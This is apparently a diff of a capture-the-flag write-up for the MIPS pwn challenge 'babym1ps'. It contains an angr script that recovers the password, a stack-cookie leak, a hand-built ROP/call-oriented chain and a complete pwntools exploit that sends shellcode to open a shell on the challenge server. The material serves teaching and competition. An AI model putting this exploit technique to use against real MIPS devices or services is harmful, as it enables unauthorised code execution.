2020: 3k: babym1ps
|
@ -0,0 +1,182 @@
|
||||||
|
# babym1ps
|
||||||
|
|
||||||
|
writeup by [haskal](https://awoo.systems) for [BLÅHAJ](https://blahaj.awoo.systems)
|
||||||
|
|
||||||
|
**Pwn**
|
||||||
|
**499 points**
|
||||||
|
**3 solves**
|
||||||
|
|
||||||
|
>nc babymips.3k.ctf.to 7777
|
||||||
|
|
||||||
|
provided file: <challenge>
|
||||||
|
|
||||||
|
## writeup
|
||||||
|
|
||||||
|
the provided binary is MIPS, as you'd expect from the name. there's a fairly bog-standard stack
|
||||||
|
overflow in the main function, however it can only be triggered after successfully entering a
|
||||||
|
password, otherwise it calls exit() and never returns. additionally, there's a stack cookie check.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
you can manually reverse for the password, it's not super complicated but just to get more familiar
|
||||||
|
with using angr, i used angr.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
# idk what this is, it's not important
|
||||||
|
p.hook(0x00400550, angr.SIM_PROCEDURES["stubs"]["Nop"]())
|
||||||
|
# shim other functions
|
||||||
|
p.hook(0x004091d0, angr.SIM_PROCEDURES["libc"]["puts"]())
|
||||||
|
p.hook(0x00408490, angr.SIM_PROCEDURES["libc"]["printf"]())
|
||||||
|
|
||||||
|
# shim the rand() looking function to return the same stuff as a real concrete execution
|
||||||
|
class RandShim(angr.SimProcedure):
|
||||||
|
def run(self, vals=None):
|
||||||
|
i = self.state.globals.get('fakerand_idx', 0)
|
||||||
|
val = vals[i]
|
||||||
|
self.state.globals['fakerand_idx'] = i + 1
|
||||||
|
return val
|
||||||
|
|
||||||
|
p.hook(0x00407bf0, RandShim(vals=[ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ]))
|
||||||
|
# shim read
|
||||||
|
p.hook(0x0041d520, angr.SIM_PROCEDURES["linux_kernel"]["read"]())
|
||||||
|
```
|
||||||
|
since this is a static binary, we can hook functions with angr SimProcedures to save time (and to
|
||||||
|
avoid possible cases of angr just not terminating at all). i guessed what the function calls are in
|
||||||
|
main based on the parameters and how they're used. i also recorded the values returned by some sort
|
||||||
|
of PRNG, probably `rand()` during a concrete execution and added a custom SimProcedure for that. the
|
||||||
|
rest is straightforward
|
||||||
|
|
||||||
|
```
|
||||||
|
# call main
|
||||||
|
st = p.factory.call_state(0x004005e0)
|
||||||
|
sm = p.factory.simulation_manager(st)
|
||||||
|
# find where it prints OK, avoid where it prints No
|
||||||
|
sm.explore(find=0x004007e4, avoid=0x00400820)
|
||||||
|
# this is the answer
|
||||||
|
print(sm.found[0].posix.dumps(0)[512:])
|
||||||
|
```
|
||||||
|
|
||||||
|
this gives a password of `dumbasspassword`. next, to defeat the stack cookie check, the cookie can
|
||||||
|
be leaked by the `printf()` call for the username, since that will keep printing until it encounters
|
||||||
|
a null byte. the LSB of the cookie is always null, but by providing an overwrite of 1 char into the
|
||||||
|
cookie we can leak the whole thing. just remember to set the null back with the next overwrite.
|
||||||
|
|
||||||
|
```
|
||||||
|
log.info("performing stack leak")
|
||||||
|
p.send("A" * 129)
|
||||||
|
name = p.recvuntil("your pass")
|
||||||
|
i = name.index(b"A")
|
||||||
|
cookie = b"\x00" + name[i+129:i+129+3]
|
||||||
|
log.info("got cookie %s", cookie)
|
||||||
|
```
|
||||||
|
|
||||||
|
now we run into some challenges. it turns out this binary does not use NX, so the stack is
|
||||||
|
executable. we can write shellcode on the stack, but we don't necessarily know where the stack is
|
||||||
|
because of ASLR. therefore, we need a ROP chain to get the stack pointer and jump to it.
|
||||||
|
|
||||||
|
MIPS ROP is interesting (similarly to ARM ROP) because unlike i386 and amd64, the return address is
|
||||||
|
stored in a register `ra` rather than directly on the stack. so instead of most every function
|
||||||
|
epilogue being able to work as a ROP gadget, only epilogues that pop `ra` from the stack and then
|
||||||
|
return are applicable. there are also some gadgets involving the temp register `t9` - which is used
|
||||||
|
by MIPS compilers to load certain library function calls from `gp` or other registers. so it's
|
||||||
|
really a mix of both return- and call-oriented programming.
|
||||||
|
|
||||||
|
it turns out pwntools is fairly useless for MIPS ROP, and i also tried a port of some IDA scripts to
|
||||||
|
ghidra <https://github.com/tacnetsol/ghidra_scripts> but these didn't really turn up good results,
|
||||||
|
particularly for obtaining the stack pointer in a register, and suffered from the issue that ROP
|
||||||
|
gadgets were not cached between runs which made script runs take unnecessarily long.
|
||||||
|
|
||||||
|
so instead we have to manually search for gadgets. first, it's important to note that the return
|
||||||
|
from main gives control over `ra` and `s8` only, so we will need to add more gadgets that load
|
||||||
|
registers from the stack if needed.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
first, i did a ghidra search for any `addiu` instruction from `sp` to `a0`. this is because of a
|
||||||
|
strategy i actually discovered last week (i'm not really convinced it's novel, but i haven't seen it
|
||||||
|
anywhere) of returning to `entry` as the last gadget, because `entry` loads `main` to `a0` and then
|
||||||
|
calls into libc init that will eventually execute `a0`. now it turns out this binary actually has a
|
||||||
|
different `gain shellcode execution` gadget i just didn't look hard enough, but whatever this works.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
i wasn't able to find a useful `sp->a0` gadget but i did find an `sp->a1` gadget. however this takes
|
||||||
|
its next return address from `s4` as you can see it moves `s4` to `t9` and then calls (in mips, move
|
||||||
|
is equivalent to bitwise or with 0). there's another tricky part of this because it writes `s3` to
|
||||||
|
the stack, and this actually ends up corresponding to the return address of the last gadget we need
|
||||||
|
so s3 will need to be controlled for that too.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
in order to control `s4` we need a gadget to come before this, and there are lot of them available
|
||||||
|
because a lot of epilogues pop `s*` registers, but i selected for one with a reasonably small stack
|
||||||
|
shift because we are technically byte-limited here.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
finally, we need a gadget to move a1 to a0. i found an interesting gadget for this which returns to
|
||||||
|
`ra` after branching for some reason.
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
so to summarize, the ROP/COP gadgets are:
|
||||||
|
|
||||||
|
- gain control of more registers, particularly `s4` and `s3`. then return to next gadget by popping
|
||||||
|
`ra`
|
||||||
|
- load a stack address into `a1`, write `s3` then return to `s4` (which we previously loaded from
|
||||||
|
the stack)
|
||||||
|
- move `a1` to `a0` and return via `ra`
|
||||||
|
- hijack `entry` to get libc to call the shellcode for us
|
||||||
|
|
||||||
|
now it turns out the challenge author did it in 3 gadgets but weh. this also works.
|
||||||
|
|
||||||
|
and here's the code
|
||||||
|
|
||||||
|
```
|
||||||
|
log.info("performing attack")
|
||||||
|
|
||||||
|
pwd = b"dumbasspassword"
|
||||||
|
|
||||||
|
payload = (
|
||||||
|
# password, and pad to the end of main's stack frame
|
||||||
|
pwd + b"B" * (128 - len(pwd))
|
||||||
|
+ cookie
|
||||||
|
+ b"CCCC" # main frame - s8
|
||||||
|
+ p32(0x446d50) # main frame - saved ra to gadget 0
|
||||||
|
# next gadget frame
|
||||||
|
+ b"D"*24
|
||||||
|
+ p32(1337) # s0
|
||||||
|
+ p32(1338) # s1
|
||||||
|
+ p32(0x48f990) # s2 - some readable address needed
|
||||||
|
+ p32(0x40036c) # s3 - address of last gadget (overwrite by gadget 2)
|
||||||
|
+ p32(0x464058) # s4 - after next gadget
|
||||||
|
+ p32(0x4452a8) # ra - next gadget
|
||||||
|
# next gadget frame
|
||||||
|
+ b"E" * 28
|
||||||
|
+ p32(0x13371337) # entry gadget to call a0 (overwritten by s3)
|
||||||
|
+ b"\x00" * 24 # final pad before shellcode
|
||||||
|
)
|
||||||
|
|
||||||
|
# pwntools is fun i literally don't even have to write this part myself
|
||||||
|
sc = asm(shellcraft.mips.sh())
|
||||||
|
payload += sc
|
||||||
|
|
||||||
|
p.send(payload)
|
||||||
|
p.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
running the full code against the server gets you a shell, from which you can print the flag.
|
||||||
|
|
||||||
|
## addendum
|
||||||
|
|
||||||
|
when doing this sort of thing for a _real_ MIPS device, you have to be wary of the instruction and
|
||||||
|
data caches screwing you over. in particular, they are not coherent, so if your shellcode is stored
|
||||||
|
in the data cache it will _not_ show up in the instruction cache unless they get flushed. now this
|
||||||
|
part really doesn't matter here, since it's executing in qemu (good thing too! i kind of just
|
||||||
|
assumed it would be inside qemu on the server, but it would have been truly evil if the challenge
|
||||||
|
were run on a real MIPS board).
|
||||||
|
|
||||||
|
the typical mitigation for this is to add additional ROP steps to call `sleep()` with a small value
|
||||||
|
-- kernel context switching will flush the caches and then you'll be all set.
|
After Width: | Height: | Size: 100 KiB |
|
@ -0,0 +1,38 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import angr,claripy
|
||||||
|
|
||||||
|
p = angr.Project("./challenge")
|
||||||
|
|
||||||
|
# idk what this is, it's not important
|
||||||
|
p.hook(0x00400550, angr.SIM_PROCEDURES["stubs"]["Nop"]())
|
||||||
|
# shim other functions
|
||||||
|
p.hook(0x004091d0, angr.SIM_PROCEDURES["libc"]["puts"]())
|
||||||
|
p.hook(0x00408490, angr.SIM_PROCEDURES["libc"]["printf"]())
|
||||||
|
|
||||||
|
# shim the rand() looking function to return the same stuff as a real concrete execution
|
||||||
|
class RandShim(angr.SimProcedure):
|
||||||
|
def run(self, vals=None):
|
||||||
|
i = self.state.globals.get('fakerand_idx', 0)
|
||||||
|
val = vals[i]
|
||||||
|
self.state.globals['fakerand_idx'] = i + 1
|
||||||
|
return val
|
||||||
|
|
||||||
|
p.hook(0x00407bf0, RandShim(vals=[ 0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd, 0xba, 0xab, 0xf2, 0xfb, 0xe3, ]))
|
||||||
|
# shim read
|
||||||
|
p.hook(0x0041d520, angr.SIM_PROCEDURES["linux_kernel"]["read"]())
|
||||||
|
|
||||||
|
# call main
|
||||||
|
st = p.factory.call_state(0x004005e0)
|
||||||
|
# stack guard, silence angr complaint
|
||||||
|
st.memory.store(0x0048f990, b"\xAB\xCD\xEF\x01")
|
||||||
|
# regs, more silencing
|
||||||
|
st.regs.ra = 0x13371337
|
||||||
|
st.regs.s8 = 0x13381338
|
||||||
|
sm = p.factory.simulation_manager(st)
|
||||||
|
sm.use_technique(angr.exploration_techniques.MemoryWatcher())
|
||||||
|
|
||||||
|
# find where it prints OK, avoid where it prints No
|
||||||
|
sm.explore(find=0x004007e4, avoid=0x00400820)
|
||||||
|
# this is the answer
|
||||||
|
print(sm.found[0].posix.dumps(0)[512:])
|
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 44 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 13 KiB |
|
@ -0,0 +1,45 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
context.arch = 'mips'
|
||||||
|
|
||||||
|
# p = gdb.debug("./challenge", gdbscript="b *0x00400864\nc\n")
|
||||||
|
p = remote("babymips.3k.ctf.to", 7777)
|
||||||
|
# p = process("./challenge")
|
||||||
|
|
||||||
|
log.info("performing stack leak")
|
||||||
|
p.send("A" * 129)
|
||||||
|
name = p.recvuntil("your pass")
|
||||||
|
i = name.index(b"A")
|
||||||
|
cookie = b"\x00" + name[i+129:i+129+3]
|
||||||
|
log.info("got cookie %s", cookie)
|
||||||
|
log.info("performing attack")
|
||||||
|
|
||||||
|
pwd = b"dumbasspassword"
|
||||||
|
|
||||||
|
payload = (
|
||||||
|
pwd + b"B" * (128 - len(pwd))
|
||||||
|
+ cookie
|
||||||
|
+ b"CCCC" # main frame - s8
|
||||||
|
+ p32(0x446d50) # main frame - saved ra to gadget 0
|
||||||
|
# next gadget frame
|
||||||
|
+ b"D"*24
|
||||||
|
+ p32(1337) # s0
|
||||||
|
+ p32(1338) # s1
|
||||||
|
+ p32(0x48f990) # s2 - some readable address needed
|
||||||
|
+ p32(0x40036c) # s3 - address of last gadget (overwrite by gadget 2)
|
||||||
|
+ p32(0x464058) # s4 - after next gadget
|
||||||
|
+ p32(0x4452a8) # ra - next gadget
|
||||||
|
# next gadget frame
|
||||||
|
+ b"E" * 28
|
||||||
|
+ p32(0x13371337) # entry gadget to call a0 (overwritten by s3)
|
||||||
|
+ b"\x00" * 24 # final pad before shellcode
|
||||||
|
)
|
||||||
|
print(len(payload), 0x200)
|
||||||
|
|
||||||
|
sc = asm(shellcraft.mips.sh())
|
||||||
|
payload += sc
|
||||||
|
|
||||||
|
p.send(payload)
|
||||||
|
|
||||||
|
p.interactive()
|